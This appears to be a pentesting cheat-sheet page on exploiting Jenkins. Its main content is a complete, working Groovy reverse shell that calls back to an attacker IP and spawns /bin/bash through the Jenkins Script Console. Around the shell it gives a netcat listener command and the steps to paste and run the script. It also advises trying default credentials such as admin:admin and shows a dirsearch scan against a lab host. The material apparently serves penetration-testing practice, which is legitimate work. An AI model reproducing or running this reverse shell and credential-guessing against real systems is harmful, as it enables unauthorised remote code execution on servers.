> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/jenkins.md).

# Jenkins

### Open Script Consoles

You may find this open on many systems.

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FxzBMhk5NfnAHCXpEdZVJ%2Fimage.png?alt=media&amp;token=42fa8a0d-e793-4fc1-8bd4-176a719b2238" alt=""><figcaption></figcaption></figure>

### groovy reverse shell

{% embed url="<https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76>" %}

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2Fui8X78cQXNem0qPYPeae%2Fimage.png?alt=media&amp;token=f208b99b-9e58-483d-8738-c92702101199" alt=""><figcaption></figcaption></figure>

* **Directory Brute Forcing:** Nothing interesting found.

```
dirsearch -u http://10.1.243.1:8080 -e php,html,txt
```

* **Authentication:** \* The instance was secured with a login portal.
  * **Weak Credentials Found:** `admin:admin`.

> **Note:** Always apply the **KISS (Keep It Simple, Stupid)** principle. Before looking for complex CVEs, test common/default credentials (e.g., `admin:admin`, `jenkins:jenkins`, `root:root`).

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2F1OA4eBOZyo90Fd3nggu4%2Fimage.png?alt=media&amp;token=0cfbe436-3a1b-4f99-b200-5018eac4c2d3" alt=""><figcaption></figcaption></figure>

***

#### Jenkins Exploitation via Script Console <a href="#user-content-21-jenkins-exploitation-via-script-console" id="user-content-21-jenkins-exploitation-via-script-console"></a>

Jenkins features a "Script Console" (found under **Manage Jenkins > Script Console**) that allows users to execute arbitrary Groovy scripts on the server. This is a common vector for Remote Code Execution (RCE).

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2Fzr5J5PJvH6JlUHy5bh5L%2Fimage.png?alt=media&amp;token=d7167a9d-45c1-4140-b46a-c83948a52a13" alt=""><figcaption></figcaption></figure>

#### Reverse Shell (Groovy) <a href="#user-content-22-reverse-shell-groovy" id="user-content-22-reverse-shell-groovy"></a>

To gain a shell on the underlying Linux OS, a Groovy reverse shell script was executed.

**Groovy Script Used:**

```
String host="10.200.76.222";
int port=8044;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

**Execution Steps:**

1. **Start Listener:** On your attacker machine, start a Netcat listener.

```
nc -lvnp 8044  
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FQw4XMAByXg2VzYcxs6d8%2Fimage.png?alt=media&amp;token=4f186e6e-6809-4072-96f0-d4a1e830d9c8" alt=""><figcaption></figcaption></figure>

2. **Execute Script:** Paste the Groovy script into the Jenkins Script Console and click **Run**.

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FsthbvFlih6OEt9LF8FsL%2Fimage.png?alt=media&amp;token=069554c6-d661-465d-9503-48dd2ce24edf" alt=""><figcaption></figcaption></figure>

**Verify Access:** Once the connection is received, verify the user context.

```
whoami  
# Output: jenkins  
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2Fk1W6nVZJ0kN5XCGim2Uj%2Fimage.png?alt=media&amp;token=0bd5cb1a-3cf6-4a4e-8708-8fa8b9c73e4b" alt=""><figcaption></figcaption></figure>
